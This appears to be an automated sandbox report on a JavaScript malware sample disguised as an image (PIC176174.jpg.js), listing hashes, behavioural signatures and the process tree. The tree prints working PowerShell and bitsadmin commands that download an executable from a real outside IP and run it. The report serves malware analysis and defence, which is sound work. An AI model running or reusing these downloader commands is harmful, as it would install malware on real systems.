Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
25-08-2024 16:40
Static task
static1
Behavioral task
behavioral1
Sample
c126d9b909d774a177d560de530aea04_JaffaCakes118.zip
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
c126d9b909d774a177d560de530aea04_JaffaCakes118.zip
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
PIC176174.jpg.js
Resource
win7-20240705-en
General
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Target
PIC176174.jpg.js
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Size
650B
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MD5
a7ab035cbabbaa850b95e1eb8c877789
-
SHA1
1175c71d4e70591c3816292fd9107486a7fb3bbe
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SHA256
a84be445b2a8be5ed37e7d23816293f15ba5acec72fde6e77d59db4832eace48
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SHA512
7189b836a35309cc29acadfb3ed9bb915db1adb47780b70c1ec44ab308d46eaebdc1ab1fae7a460d437f47fef781c0a4d7d9c4e025f7de6e0952b21d792c1854
Malware Config
Extracted
http://217.8.117.63/tspam.exe
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 5 4940 powershell.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4940 powershell.exe 4940 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4940 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
wscript.execmd.execmd.exedescription pid process target process PID 3740 wrote to memory of 2908 3740 wscript.exe cmd.exe PID 3740 wrote to memory of 2908 3740 wscript.exe cmd.exe PID 3740 wrote to memory of 2224 3740 wscript.exe cmd.exe PID 3740 wrote to memory of 2224 3740 wscript.exe cmd.exe PID 2908 wrote to memory of 4940 2908 cmd.exe powershell.exe PID 2908 wrote to memory of 4940 2908 cmd.exe powershell.exe PID 2224 wrote to memory of 4352 2224 cmd.exe bitsadmin.exe PID 2224 wrote to memory of 4352 2224 cmd.exe bitsadmin.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\PIC176174.jpg.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3740 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://217.8.117.63/tspam.exe','C:\Users\Admin\AppData\Local\Temp\394955.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\394955.exe'2⤵
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://217.8.117.63/tspam.exe','C:\Users\Admin\AppData\Local\Temp\394955.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\394955.exe'3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4940 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bitsadmin /transfer twetaeihwuwe /download /priority high http://217.8.117.63/tspam.exe C:\Users\Admin\AppData\Local\Temp\558392.exe&start C:\Users\Admin\AppData\Local\Temp\558392.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2224 -
C:\Windows\system32\bitsadmin.exebitsadmin /transfer twetaeihwuwe /download /priority high http://217.8.117.63/tspam.exe C:\Users\Admin\AppData\Local\Temp\558392.exe3⤵
- Download via BitsAdmin
PID:4352
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82